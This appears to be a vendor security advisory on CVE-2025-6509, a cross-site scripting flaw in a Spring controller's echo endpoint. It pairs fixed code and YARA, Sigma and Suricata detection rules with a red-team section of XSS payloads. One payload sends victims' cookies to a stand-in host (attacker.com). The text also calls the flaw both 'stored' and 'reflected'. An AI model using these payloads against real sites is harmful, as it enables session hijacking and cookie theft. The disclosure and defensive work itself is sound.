CVE-2025-6509

Executive Summary

CVE-2025-6509 is a stored cross-site scripting (XSS) vulnerability in the seaswalker/spring-analysis project, a Java-based application analysis tool. The flaw resides in the echo function within /src/main/java/controller/SimpleController.java, where the Name parameter is not sanitized before being reflected back to the user. An attacker can craft a malicious request containing JavaScript payloads, which, when executed in a victim's browser, can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as problematic with a CVSS score of 3.5 (Low), but the public availability of an exploit increases the risk. The project uses a rolling release model, meaning no specific patched version is available; users must update to the latest commit or apply manual sanitization.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level issue in a Java project hosted on GitHub. The rolling release model means that users must continuously monitor the repository for fixes. No official patch has been released, and the exploit is publicly documented.

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector: Network (AV:N) – The attack can be launched remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must click a crafted link or visit a malicious page.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: Low (I:L) – Limited modification of content.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Low, but with public exploit code, the risk is elevated for unpatched instances.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the echo function of SimpleController.java. The function takes a Name parameter from the HTTP request and directly embeds it into the response without encoding or sanitization. An attacker can inject arbitrary HTML/JavaScript by crafting a URL like:

http://target/echo?Name=<script>alert('XSS')</script>

When the server processes this request, it returns a page containing the injected script, which executes in the user's browser. The lack of output encoding or Content Security Policy (CSP) headers makes this exploitable.

The project uses a rolling release model, meaning there are no versioned releases. The vulnerable commit is 4379cce848af96997a9d7ef91d594aa129be8d71. Users must update to the latest commit or apply a manual fix.

Vulnerable vs. Patched Code

Vulnerable Code (SimpleController.java):

@GetMapping("/echo")
public String echo(@RequestParam String Name) {
    return "Hello, " + Name + "!";
}

Patched Code (Manual Fix):

import org.springframework.web.util.HtmlUtils;

@GetMapping("/echo")
public String echo(@RequestParam String Name) {
    String safeName = HtmlUtils.htmlEscape(Name);
    return "Hello, " + safeName + "!";
}

The patched version uses HtmlUtils.htmlEscape() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of seaswalker/spring-analysis with the vulnerable commit.
• Python 3 or curl for crafting requests.

Exploit Steps:

1. Identify the target endpoint: http://target/echo?Name=test
2. Inject a payload: http://target/echo?Name=<script>alert(document.cookie)</script>
3. For a more sophisticated attack, use a payload to exfiltrate cookies:

   http://target/echo?Name=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
   

Example using curl:

curl "http://target/echo?Name=<script>alert('XSS')</script>"

Lab Setup:

• Clone the repository: git clone https://github.com/seaswalker/spring-analysis.git
• Checkout the vulnerable commit: git checkout 4379cce848af96997a9d7ef91d594aa129be8d71
• Build and run: mvn spring-boot:run
• Access the endpoint and test payloads.

Blue Team

Detection:

• Monitor web server logs for unusual Name parameters containing <script>, onerror, or other HTML/JavaScript patterns.
• Use WAF rules to block requests with XSS payloads in query parameters.

Mitigation:

• Apply the manual patch by adding HtmlUtils.htmlEscape() to the echo function.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use input validation to reject or sanitize HTML tags.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /echo with Name parameter containing <script>, onerror, onload, or javascript:.
  • Outbound connections to attacker-controlled domains from the victim's browser.
• File IOCs:
  • Log entries with XSS payloads in the Name parameter.
• Behavioral IOCs:
  • Unexpected JavaScript execution in the context of the application.
  • Cookie theft or session hijacking attempts.

Detection Engineering

YARA Rule

rule CVE_2025_6509_XSS_Detection {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-6509 in spring-analysis"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6509"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $xss5 = "alert(" nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-6509 XSS Attempt in spring-analysis
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in the Name parameter targeting /echo endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/echo?Name='
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-6509 XSS Attempt in spring-analysis"; flow:to_server; content:"/echo"; http_uri; content:"Name="; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Fix: Update the echo function to use HtmlUtils.htmlEscape() as shown in the patched code.
2. Workaround: Implement a Web Application Firewall (WAF) rule to block XSS payloads in the Name parameter.
3. Long-term: Adopt a secure coding framework that automatically encodes output (e.g., Thymeleaf with default escaping).
4. Monitoring: Enable logging and alerting for suspicious Name parameters.
5. User Education: Train developers on XSS prevention and the importance of input validation/output encoding.

Valters IT
Securing Digital Frontiers